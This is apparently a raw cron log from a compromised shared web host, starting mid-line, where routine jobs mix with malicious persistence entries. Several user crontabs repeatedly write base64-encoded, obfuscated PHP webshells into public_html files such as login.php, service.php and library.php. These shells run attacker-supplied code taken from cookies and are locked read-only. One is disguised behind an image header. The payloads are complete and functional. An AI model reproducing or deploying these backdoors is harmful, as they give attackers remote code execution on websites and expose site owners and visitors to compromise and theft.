lcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:01:01 medusa CROND[30860]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 08:01:01 medusa CROND[30859]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 08:01:01 medusa CROND[30861]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 08:01:01 medusa CROND[30863]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 08:01:01 medusa CROND[30867]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 08:01:01 medusa CROND[30872]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 08:01:01 medusa CROND[30873]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 08:01:01 medusa CROND[30877]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:01:01 medusa CROND[30880]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:01:02 medusa run-parts(/etc/cron.hourly)[30853]: starting 0anacron
Mar  1 08:01:02 medusa run-parts(/etc/cron.hourly)[31118]: finished 0anacron
Mar  1 08:02:01 medusa CROND[20794]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 08:02:01 medusa CROND[20796]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 08:02:01 medusa CROND[20797]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 08:02:01 medusa CROND[20798]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:02:01 medusa CROND[20799]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 08:02:01 medusa CROND[20800]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:02:01 medusa CROND[20801]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 08:02:01 medusa CROND[20802]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:02:01 medusa CROND[20803]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 08:02:01 medusa CROND[20807]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 08:02:01 medusa CROND[20811]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 08:02:01 medusa CROND[20812]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:02:01 medusa CROND[20813]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 08:03:02 medusa CROND[10392]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 08:03:02 medusa CROND[10395]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 08:03:02 medusa CROND[10397]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 08:03:02 medusa CROND[10399]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 08:03:02 medusa CROND[10398]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:03:02 medusa CROND[10396]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 08:03:02 medusa CROND[10400]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 08:03:02 medusa CROND[10401]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:03:02 medusa CROND[10404]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 08:03:02 medusa CROND[10402]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
